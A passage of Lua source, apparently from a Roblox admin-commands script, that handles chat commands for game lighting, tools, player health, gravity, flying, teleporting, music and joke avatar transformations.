  1076. coroutine.resume(coroutine.create(function()
  1077. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1078. v.Character.Humanoid.MaxHealth = 100
  1079. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1080. end
  1081. end))
  1082. end
  1083. end
  1084.  
  1085. if msg:lower():sub(1,8) == "ambient " then
  1086. local chk1 = msg:lower():sub(9):find(" ") + 8
  1087. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1088. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1089. end
  1090.  
  1091. if msg:lower():sub(1,11) == "brightness " then
  1092. game.Lighting.Brightness = msg:sub(12)
  1093. end
  1094.  
  1095. if msg:lower():sub(1,5) == "time " then
  1096. game.Lighting.TimeOfDay = msg:sub(6)
  1097. end
  1098.  
  1099. if msg:lower():sub(1,9) == "fogcolor " then
  1100. local chk1 = msg:lower():sub(10):find(" ") + 9
  1101. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1102. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1103. end
  1104.  
  1105. if msg:lower():sub(1,7) == "fogend " then
  1106. game.Lighting.FogEnd = msg:sub(8)
  1107. end
  1108.  
  1109. if msg:lower():sub(1,9) == "fogstart " then
  1110. game.Lighting.FogStart = msg:sub(10)
  1111. end
  1112.  
  1113. if msg:lower():sub(1,7) == "btools " then
  1114. local plrz = GetPlr(plr, msg:lower():sub(8))
  1115. for i, v in pairs(plrz) do
  1116. coroutine.resume(coroutine.create(function()
  1117. if v and v:findFirstChild("Backpack") then
  1118. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1119. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1120. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1121. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1122. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1123. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1124. local sb
  1125. local hs
  1126. local pdist
  1127.  
  1128. script.Parent.Selected:connect(function(mouse)
  1129. if not mouse then return end
  1130. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1131. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1132. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1133. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1134. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1135. end)
  1136.  
  1137. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1138. end
  1139. end))
  1140. end
  1141. end
  1142.  
  1143. if msg:lower():sub(1,5) == "give " then
  1144. local chk1 = msg:lower():sub(6):find(" ") + 5
  1145. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1146. for i, v in pairs(plrz) do
  1147. coroutine.resume(coroutine.create(function()
  1148. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1149. for a, tool in pairs(game.Lighting:children()) do
  1150. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1151. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1152. end
  1153. end
  1154. end
  1155. end))
  1156. end
  1157. end
  1158.  
  1159. if msg:lower():sub(1,12) == "removetools " then
  1160. local plrz = GetPlr(plr, msg:lower():sub(13))
  1161. for i, v in pairs(plrz) do
  1162. coroutine.resume(coroutine.create(function()
  1163. if v and v.Character and v:findFirstChild("Backpack") then
  1164. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1165. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1166. end
  1167. end))
  1168. end
  1169. end
  1170.  
  1171. if msg:lower():sub(1,5) == "rank " then
  1172. local chk1 = msg:lower():sub(6):find(" ") + 5
  1173. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1174. for i, v in pairs(plrz) do
  1175. coroutine.resume(coroutine.create(function()
  1176. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1177. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1178. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1179. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1180. end
  1181. end))
  1182. end
  1183. end
  1184.  
  1185. if msg:lower():sub(1,7) == "damage " then
  1186. local chk1 = msg:lower():sub(8):find(" ") + 7
  1187. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1188. for i, v in pairs(plrz) do
  1189. coroutine.resume(coroutine.create(function()
  1190. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1191. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1192. end
  1193. end))
  1194. end
  1195. end
  1196.  
  1197. if msg:lower():sub(1,5) == "grav " then
  1198. local plrz = GetPlr(plr, msg:lower():sub(6))
  1199. for i, v in pairs(plrz) do
  1200. coroutine.resume(coroutine.create(function()
  1201. if v and v.Character and v.Character:findFirstChild("Torso") then
  1202. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1203. end
  1204. end))
  1205. end
  1206. end
  1207.  
  1208. if msg:lower():sub(1,8) == "setgrav " then
  1209. local chk1 = msg:lower():sub(9):find(" ") + 8
  1210. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1211. for i, v in pairs(plrz) do
  1212. coroutine.resume(coroutine.create(function()
  1213. if v and v.Character and v.Character:findFirstChild("Torso") then
  1214. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1215. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1216. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1217. end
  1218. end))
  1219. end
  1220. end
  1221.  
  1222. if msg:lower():sub(1,7) == "nograv " then
  1223. local plrz = GetPlr(plr, msg:lower():sub(8))
  1224. for i, v in pairs(plrz) do
  1225. coroutine.resume(coroutine.create(function()
  1226. if v and v.Character and v.Character:findFirstChild("Torso") then
  1227. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1228. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1229. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1230. end
  1231. end))
  1232. end
  1233. end
  1234.  
  1235. if msg:lower():sub(1,7) == "health " then
  1236. local chk1 = msg:lower():sub(8):find(" ") + 7
  1237. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1238. for i, v in pairs(plrz) do
  1239. coroutine.resume(coroutine.create(function()
  1240. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1241. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1242. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1243. end
  1244. end))
  1245. end
  1246. end
  1247.  
  1248. if msg:lower():sub(1,6) == "speed " then
  1249. local chk1 = msg:lower():sub(7):find(" ") + 6
  1250. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1251. for i, v in pairs(plrz) do
  1252. coroutine.resume(coroutine.create(function()
  1253. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1254. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1255. end
  1256. end))
  1257. end
  1258. end
  1259.  
  1260. if msg:lower():sub(1,5) == "team " then
  1261. local chk1 = msg:lower():sub(6):find(" ") + 5
  1262. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1263. for i, v in pairs(plrz) do
  1264. coroutine.resume(coroutine.create(function()
  1265. if v and game:findFirstChild("Teams") then
  1266. for a, tm in pairs(game.Teams:children()) do
  1267. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1268. end
  1269. end
  1270. end))
  1271. end
  1272. end
  1273.  
  1274. if msg:lower():sub(1,6) == "place " then
  1275. local chk1 = msg:lower():sub(7):find(" ") + 6
  1276. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1277. for i, v in pairs(plrz) do
  1278. coroutine.resume(coroutine.create(function()
  1279. if v and v:findFirstChild("PlayerGui") then
  1280. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1281. end
  1282. end))
  1283. end
  1284. end
  1285.  
  1286. if msg:lower():sub(1,3) == "tp " then
  1287. local chk1 = msg:lower():sub(4):find(" ") + 3
  1288. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1289. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1290. for i, v in pairs(plrz) do
  1291. coroutine.resume(coroutine.create(function()
  1292. for i2, v2 in pairs(plrz2) do
  1293. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1294. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1295. end
  1296. end
  1297. end))
  1298. end
  1299. end
  1300.  
  1301. if msg:lower():sub(1,7) == "change " then
  1302. local chk1 = msg:lower():sub(8):find(" ") + 7
  1303. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1304. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1305. for i, v in pairs(plrz) do
  1306. coroutine.resume(coroutine.create(function()
  1307. if v and v:findFirstChild("leaderstats") then
  1308. for a, st in pairs(v.leaderstats:children()) do
  1309. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1310. end
  1311. end
  1312. end))
  1313. end
  1314. end
  1315.  
  1316. if msg:lower():sub(1,6) == "shirt " then
  1317. local chk1 = msg:lower():sub(7):find(" ") + 6
  1318. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1319. for i, v in pairs(plrz) do
  1320. coroutine.resume(coroutine.create(function()
  1321. if v and v.Character then
  1322. for i,v in pairs(v.Character:children()) do
  1323. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1324. end
  1325. end
  1326. end))
  1327. end
  1328. end
  1329.  
  1330. if msg:lower():sub(1,6) == "pants " then
  1331. local chk1 = msg:lower():sub(7):find(" ") + 6
  1332. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1333. for i, v in pairs(plrz) do
  1334. coroutine.resume(coroutine.create(function()
  1335. if v and v.Character then
  1336. for i,v in pairs(v.Character:children()) do
  1337. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1338. end
  1339. end
  1340. end))
  1341. end
  1342. end
  1343.  
  1344. if msg:lower():sub(1,5) == "face " then
  1345. local chk1 = msg:lower():sub(6):find(" ") + 5
  1346. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1347. for i, v in pairs(plrz) do
  1348. coroutine.resume(coroutine.create(function()
  1349. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1350. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1351. end
  1352. end))
  1353. end
  1354. end
  1355.  
  1356. ------------------
  1357. -- Fun Commands --
  1358. ------------------
  1359. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1360.  
  1361. if msg:lower():sub(1,8) == "swagify " then
  1362. local plrz = GetPlr(plr, msg:lower():sub(9))
  1363. for i, v in pairs(plrz) do
  1364. coroutine.resume(coroutine.create(function()
  1365. if v and v.Character then
  1366. for i,v in pairs(v.Character:children()) do
  1367. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1368. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1369. end
  1370. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1371. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1372. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1373. local torso = plr.Character.Torso
  1374. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1375. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1376. p.Size = Vector3.new(.2,.2,.2)
  1377. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1378. local motor1 = Instance.new("Motor", p)
  1379. motor1.Part0 = p
  1380. motor1.Part1 = torso
  1381. motor1.MaxVelocity = .01
  1382. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1383. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1384. local wave = false
  1385. repeat wait(1/44)
  1386. local ang = 0.1
  1387. local oldmag = torso.Velocity.magnitude
  1388. local mv = .002
  1389. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1390. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1391. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1392. motor1.DesiredAngle = -ang
  1393. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1394. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1395. if torso.Velocity.magnitude < .1 then wait(.1) end
  1396. until not p or p.Parent ~= torso.Parent
  1397. script:Destroy()
  1398. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1399. end
  1400. end))
  1401. end
  1402. end
  1403.  
  1404. if msg:lower():sub(1,6) == "music " then
  1405. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1406. local id = msg:sub(7)
  1407. local pitch = 1
  1408. if tostring(id):lower():find("caramell") then id = 2303479 end
  1409. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1410. if tostring(id):find("rick") then id = 2027611 end
  1411. if tostring(id):find("halo") then id = 1034065 end
  1412. if tostring(id):find("pokemon") then id = 1372261 end
  1413. if tostring(id):find("cursed") then id = 1372257 end
  1414. if tostring(id):find("extreme") then id = 11420933 end
  1415. if tostring(id):find("awaken") then id = 27697277 end
  1416. if tostring(id):find("alone") then id = 27697392 end
  1417. if tostring(id):find("mario") then id = 1280470 end
  1418. if tostring(id):find("choir") then id = 1372258 end
  1419. if tostring(id):find("chrono") then id = 1280463 end
  1420. if tostring(id):find("dotr") then id = 11420922 end
  1421. if tostring(id):find("entertain") then id = 27697267 end
  1422. if tostring(id):find("fantasy") then id = 1280473 end
  1423. if tostring(id):find("final") then id = 1280414 end
  1424. if tostring(id):find("emblem") then id = 1372259 end
  1425. if tostring(id):find("flight") then id = 27697719 end
  1426. if tostring(id):find("banjo") then id = 27697298 end
  1427. if tostring(id):find("gothic") then id = 27697743 end
  1428. if tostring(id):find("hiphop") then id = 27697735 end
  1429. if tostring(id):find("intro") then id = 27697707 end
  1430. if tostring(id):find("mule") then id = 1077604 end
  1431. if tostring(id):find("film") then id = 27697713 end
  1432. if tostring(id):find("nezz") then id = 8610025 end
  1433. if tostring(id):find("angel") then id = 1372260 end
  1434. if tostring(id):find("resist") then id = 27697234 end
  1435. if tostring(id):find("schala") then id = 5985787 end
  1436. if tostring(id):find("organ") then id = 11231513 end
  1437. if tostring(id):find("tunnel") then id = 9650822 end
  1438. if tostring(id):find("spanish") then id = 5982975 end
  1439. if tostring(id):find("venom") then id = 1372262 end
  1440. if tostring(id):find("wind") then id = 1015394 end
  1441. if tostring(id):find("guitar") then id = 5986151 end
  1442. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1443. end
  1444.  
  1445. if msg:lower() == "stopmusic" then
  1446. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1447. end
  1448.  
  1449. if msg:lower() == "musiclist" then
  1450. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1451. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1452. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1453. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1454. end
  1455.  
  1456. if msg:lower():sub(1,4) == "fly " then
  1457. local plrz = GetPlr(plr, msg:lower():sub(5))
  1458. for i, v in pairs(plrz) do
  1459. coroutine.resume(coroutine.create(function()
  1460. if v and v:findFirstChild("PlayerGui") then
  1461. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  1462. cl.Parent = v.PlayerGui cl.Disabled = false
  1463. end
  1464. end))
  1465. end
  1466. end
  1467.  
  1468. if msg:lower():sub(1,6) == "unfly " then
  1469. local plrz = GetPlr(plr, msg:lower():sub(7))
  1470. for i, v in pairs(plrz) do
  1471. coroutine.resume(coroutine.create(function()
  1472. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1473. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1474. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1475. wait(.1) v.Character.Humanoid.PlatformStand = false
  1476. end
  1477. end))
  1478. end
  1479. end
  1480.  
  1481. if msg:lower() == "disco" then
  1482. for i, v in pairs(lobjs) do v:Destroy() end
  1483. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1484. game.Lighting.Ambient = color
  1485. game.Lighting.FogColor = color
  1486. until nil]]
  1487. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1488. end
  1489.  
  1490. if msg:lower() == "flash" then
  1491. for i, v in pairs(lobjs) do v:Destroy() end
  1492. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1493. game.Lighting.Ambient = Color3.new(1,1,1)
  1494. game.Lighting.FogColor = Color3.new(1,1,1)
  1495. game.Lighting.Brightness = 1
  1496. game.Lighting.TimeOfDay = 14
  1497. wait(.1)
  1498. game.Lighting.Ambient = Color3.new(0,0,0)
  1499. game.Lighting.FogColor = Color3.new(0,0,0)
  1500. game.Lighting.Brightness = 0
  1501. game.Lighting.TimeOfDay = 0
  1502. until nil]]
  1503. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1504. end
  1505.  
  1506. if msg:lower():sub(1,5) == "spin " then
  1507. local plrz = GetPlr(plr, msg:lower():sub(6))
  1508. for i, v in pairs(plrz) do
  1509. coroutine.resume(coroutine.create(function()
  1510. if v and v.Character and v.Character:findFirstChild("Torso") then
  1511. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1512. local torso = v.Character:findFirstChild("Torso")
  1513. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1514. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1515. until not bg or bg.Parent ~= torso
  1516. end
  1517. end))
  1518. end
  1519. end
  1520.  
  1521. if msg:lower():sub(1,7) == "unspin " then
  1522. local plrz = GetPlr(plr, msg:lower():sub(8))
  1523. for i, v in pairs(plrz) do
  1524. coroutine.resume(coroutine.create(function()
  1525. if v and v.Character and v.Character:findFirstChild("Torso") then
  1526. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1527. end
  1528. end))
  1529. end
  1530. end
  1531.  
  1532. if msg:lower():sub(1,4) == "dog " then
  1533. local plrz = GetPlr(plr, msg:lower():sub(5))
  1534. for i, v in pairs(plrz) do
  1535. coroutine.resume(coroutine.create(function()
  1536. if v and v.Character and v.Character:findFirstChild("Torso") then
  1537. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1538. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1539. v.Character.Torso.Transparency = 1
  1540. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1541. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1542. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1543. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1544. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1545. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1546. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1547. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1548. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1549. end
  1550. end))
  1551. end
  1552. end
  1553.  
  1554. if msg:lower():sub(1,6) == "undog " then
  1555. local plrz = GetPlr(plr, msg:lower():sub(7))
  1556. for i, v in pairs(plrz) do
  1557. coroutine.resume(coroutine.create(function()
  1558. if v and v.Character and v.Character:findFirstChild("Torso") then
  1559. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1560. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1561. v.Character.Torso.Transparency = 0
  1562. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1563. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1564. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1565. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1566. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1567. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1568. end
  1569. end))
  1570. end
  1571. end
  1572.  
  1573. if msg:lower():sub(1,8) == "creeper " then
  1574. local plrz = GetPlr(plr, msg:lower():sub(9))
  1575. for i, v in pairs(plrz) do
  1576. coroutine.resume(coroutine.create(function()
  1577. if v and v.Character and v.Character:findFirstChild("Torso") then
  1578. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1579. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1580. v.Character.Torso.Transparency = 0
  1581. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1582. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1583. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1584. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
